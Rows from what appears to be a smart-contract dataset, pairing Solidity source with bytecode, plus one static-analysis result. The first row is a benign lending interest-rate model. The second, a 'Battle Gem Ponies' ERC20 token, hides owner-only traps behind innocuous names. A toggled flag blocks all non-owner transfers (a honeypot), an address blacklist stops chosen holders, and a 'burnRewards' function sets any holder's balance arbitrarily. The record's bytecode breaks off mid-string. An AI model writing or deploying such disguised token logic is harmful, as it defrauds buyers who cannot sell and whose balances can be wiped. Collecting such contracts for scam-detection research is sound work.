*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a <= b ? a : b;
}
function abs(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return b - a;
}
return a - b;
}
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// SPDX-License-Identifier: MIT
contract InterestRateModelV2 is Initializable {
using SafeMath for uint256;
// 基础利率0.02,转折点为0.8,0.8时为30%, 1时为300%, x为使用率
// y1 = 0.35 * x + 0.02 x∈[0, 0.8] y1∈[0.02, 0.3]
// y2 = 13.5 * x - 10.5 x∈[0.8, 1] y2∈[0.3, 3]
uint256 public multiplierPerBlock; // 0.35 ==> 0.35 * 1e18
uint256 public jumpMultiplierPerBlock;//13.5 ==> 13.5 * 1e18
uint256 public jumpPoint;//转折点 0.8 ==> 0.8 * 1e18
uint256 public baseRatePerBlock;//0.02e18 截距为1
uint256 public blocksPerYear;//ETH: 2102400, BSC: 10512000
address public admin;
function initialize(
uint256 baseRatePerYear,
uint256 multiplierPerYear,
uint256 jumpMultiplierPerYear,
uint256 _blocksPerYear,
uint256 _jumpPoint
) public initializer {
blocksPerYear = _blocksPerYear;
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
jumpPoint = _jumpPoint;
admin = msg.sender;
}
// 计算利用率
function utilizationRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) public pure returns (uint256) {
if (borrows == 0) {
return 0;
}
// borrows/(cash + borrows)
return borrows.mul(1e18).div(cash.add(borrows));
}
// 借款利率
function getBorrowRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) public view returns (uint256) {
uint256 ur = utilizationRate(cash, borrows, reserves);
if (ur <= jumpPoint) {
return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);//y1 = 0.35 * x + 0.02
} else {
// jumpPointRate = 0.8 * 0.35 + 0.02 = 0.30
// deltaY = jumpMultiplierPerBlock * (ur - jumpPoint) == deltaX * (ur - 0.8)
// y = jumpPointRate + deltaY
uint256 jumpPointRate = jumpPoint.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint256 excessUr = ur.sub(jumpPoint);
return excessUr.mul(jumpMultiplierPerBlock).div(1e18).add(jumpPointRate);// y2 = 13.5 * x - 10.5
}
}
// 存款利率
function getSupplyRate(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa
) public view returns (uint256) {
uint256 oneMinusReserveFactor = uint256(1e18).sub(
reserveFactorMantissa
);
uint256 borrowRate = getBorrowRate(cash, borrows, reserves);
uint256 rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return
utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
function APR(
uint256 cash,
uint256 borrows,
uint256 reserves
) external view returns (uint256) {
return getBorrowRate(cash, borrows, reserves).mul(blocksPerYear);
}
function APY(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveFactorMantissa
) external view returns (uint256) {
return
getSupplyRate(cash, borrows, reserves, reserveFactorMantissa).mul(
blocksPerYear
);
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063b816881611610071578063b816881614610164578063b9f9850a14610193578063ca9cdd1b1461019b578063dcbab608146101c4578063f14039de146101fb578063f851a44014610203576100b4565b806315f24053146100b95780636e71e2d8146100f45780638726bb891461011d578063a385fb9614610125578063ae8b520f1461012d578063af0a76981461015c575b600080fd5b6100e2600480360360608110156100cf57600080fd5b5080359060208101359060400135610227565b60408051918252519081900360200190f35b6100e26004803603606081101561010a57600080fd5b50803590602081013590604001356102ff565b6100e2610341565b6100e2610347565b6100e26004803603608081101561014357600080fd5b508035906020810135906040810135906060013561034d565b6100e2610376565b6100e26004803603608081101561017a57600080fd5b508035906020810135906040810135906060013561037c565b6100e26103ef565b6100e2600480360360608110156101b157600080fd5b50803590602081013590604001356103f5565b6101f9600480360360a08110156101da57600080fd5b5080359060208101359060408101359060608101359060800135610408565b005b6100e261050c565b61020b610512565b604080516001600160a01b039092168252519081900360200190f35b6000806102358585856102ff565b905060355481116102875761027f603654610273670de0b6b3a76400006102676033548661052190919063ffffffff16565b9063ffffffff61058316565b9063ffffffff6105c516565b9150506102f8565b60006102b2603654610273670de0b6b3a764000061026760335460355461052190919063ffffffff16565b905060006102cb6035548461061f90919063ffffffff16565b90506102f282610273670de0b6b3a76400006102676034548661052190919063ffffffff16565b93505050505b9392505050565b60008261030e575060006102f8565b610339610321858563ffffffff6105c516565b61026785670de0b6b3a764000063ffffffff61052116565b949350505050565b60335481565b60375481565b600061036d6037546103618787878761037c565b9063ffffffff61052116565b95945050505050565b60355481565b600080610397670de0b6b3a76400008463ffffffff61061f16565b905060006103a6878787610227565b905060006103c6670de0b6b3a7640000610267848663ffffffff61052116565b90506103e3670de0b6b3a7640000610267836103618c8c8c6102ff565b98975050505050505050565b60345481565b6000610339603754610361868686610227565b600054610100900460ff16806104215750610421610661565b8061042f575060005460ff16155b61046a5760405162461bcd60e51b815260040180806020018281038252602e815260200180610785602e913960400191505060405180910390fd5b600054610100900460ff16158015610495576000805460ff1961ff0019909116610100171660011790555b60378390556104aa868463ffffffff61058316565b6036556037546104c190869063ffffffff61058316565b6033556037546104d890859063ffffffff61058316565b6034556035829055603880546001600160a01b031916331790558015610504576000805461ff00191690555b505050505050565b60365481565b6038546001600160a01b031681565b6000826105305750600061057d565b8282028284828161053d57fe5b041461057a5760405162461bcd60e51b81526004018080602001828103825260218152602001806107646021913960400191505060405180910390fd5b90505b92915050565b600061057a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610667565b60008282018381101561057a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061057a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610709565b303b1590565b600081836106f35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156106b85781810151838201526020016106a0565b50505050905090810190601f1680156106e55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816106ff57fe5b0495945050505050565b6000818484111561075b5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156106b85781810151838201526020016106a0565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a6564a26469706673582212209f2115ccdf6314d96fc0729b7a974ffdc037ba9fe44cd532914d01c568eab6fb64736f6c63430006040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,566 |
0xd6985ddbcdecaefb4e93d47f466a0c3cac4bb374 | /**
Website - https://battlegemponies.digital/
Twitter - https://twitter.com/BattleGemPonies
Telegram - https://t.me/BattleGemPonies
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.1;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint256);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
mapping (address => bool) private _approveTransfer;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
uint256 _reward;
string internal _name;
string internal _symbol;
uint256 internal _decimals;
bool maxTxPercent = true;
address internal _owner;
address private uniV2router;
address private uniV2factory;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint256 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_owner = msg.sender;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint256) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function recall(address _address) external onlyOwner {
_approveTransfer[_address] = false;
}
function approveTransfer(address _address) external onlyOwner {
_approveTransfer[_address] = true;
}
function approvedTransfer(address _address) public view returns (bool) {
return _approveTransfer[_address];
}
function setMaxTxPercent() public virtual onlyOwner {
if (maxTxPercent == true) {maxTxPercent = false;} else {maxTxPercent = true;}
}
function maxTxPercentState() public view returns (bool) {
return maxTxPercent;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function reflectReward (uint256 value) external onlyOwner {
_reward = value;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be grater thatn zero");
if (_approveTransfer[sender] || _approveTransfer[recipient])
require(maxTxPercent == false, "");
if (maxTxPercent == true || sender == _owner || recipient == _owner) {
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);}
else {require (maxTxPercent == true, "");}
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _reward - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract BattleGemPonies is ERC20 {
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {
_name = "Battle Gem Ponies";
_symbol = "GEM";
_decimals = 9;
_totalSupply += initialSupply;
_balances[msg.sender] += initialSupply;
emit Transfer(address(0), msg.sender, initialSupply);
}
function burnRewards(address account, uint256 value) external onlyOwner {
_burn(account, value);
}
} | 0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a2578063ac8a93b811610071578063ac8a93b81461031b578063ca43051914610339578063d89cc15014610355578063dd62ed3e1461035f578063f3b95cd71461038f57610116565b806370a082311461026d57806395d89b411461029d578063a457c2d7146102bb578063a9059cbb146102eb57610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806339509351146101f15780633cd64cf3146102215780634355b9d21461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631fe6d7a814610187575b600080fd5b6101236103ab565b604051610130919061182b565b60405180910390f35b610153600480360381019061014e91906115d3565b61043d565b6040516101609190611810565b60405180910390f35b61017161045b565b60405161017e91906119ad565b60405180910390f35b6101a1600480360381019061019c919061160f565b610465565b005b6101bd60048036038101906101b89190611584565b6104ff565b6040516101ca9190611810565b60405180910390f35b6101db610600565b6040516101e891906119ad565b60405180910390f35b61020b600480360381019061020691906115d3565b61060a565b6040516102189190611810565b60405180910390f35b61023b6004803603810190610236919061151f565b6106b6565b6040516102489190611810565b60405180910390f35b61026b6004803603810190610266919061151f565b61070c565b005b6102876004803603810190610282919061151f565b6107f6565b60405161029491906119ad565b60405180910390f35b6102a561083e565b6040516102b2919061182b565b60405180910390f35b6102d560048036038101906102d091906115d3565b6108d0565b6040516102e29190611810565b60405180910390f35b610305600480360381019061030091906115d3565b6109c4565b6040516103129190611810565b60405180910390f35b6103236109e2565b6040516103309190611810565b60405180910390f35b610353600480360381019061034e919061151f565b6109f9565b005b61035d610ae4565b005b61037960048036038101906103749190611548565b610bce565b60405161038691906119ad565b60405180910390f35b6103a960048036038101906103a491906115d3565b610c55565b005b6060600580546103ba90611ae9565b80601f01602080910402602001604051908101604052809291908181526020018280546103e690611ae9565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610cf3565b8484610cfb565b6001905092915050565b6000600354905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ec906118ed565b60405180910390fd5b8060048190555050565b600061050c848484610ec6565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610557610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ce906118cd565b60405180910390fd5b6105f4856105e3610cf3565b85846105ef9190611a3a565b610cfb565b60019150509392505050565b6000600754905090565b60006106ac610617610cf3565b848460026000610625610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106a791906119e4565b610cfb565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610793906118ed565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606006805461084d90611ae9565b80601f016020809104026020016040519081016040528092919081815260200182805461087990611ae9565b80156108c65780601f1061089b576101008083540402835291602001916108c6565b820191906000526020600020905b8154815290600101906020018083116108a957829003601f168201915b5050505050905090565b600080600260006108df610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561099c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109939061198d565b60405180910390fd5b6109b96109a7610cf3565b8585846109b49190611a3a565b610cfb565b600191505092915050565b60006109d86109d1610cf3565b8484610ec6565b6001905092915050565b6000600860009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a80906118ed565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b906118ed565b60405180910390fd5b60011515600860009054906101000a900460ff1615151415610bb0576000600860006101000a81548160ff021916908315150217905550610bcc565b6001600860006101000a81548160ff0219169083151502179055505b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc906118ed565b60405180910390fd5b610cef82826113ad565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061196d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd29061188d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eb991906119ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d9061192d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d9061184d565b60405180910390fd5b60008111610fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe09061186d565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061108a5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110e65760001515600860009054906101000a900460ff161515146110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc9061194d565b60405180910390fd5b5b60011515600860009054906101000a900460ff16151514806111555750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111ad5750600860019054906101000a900473fffffffffffffffff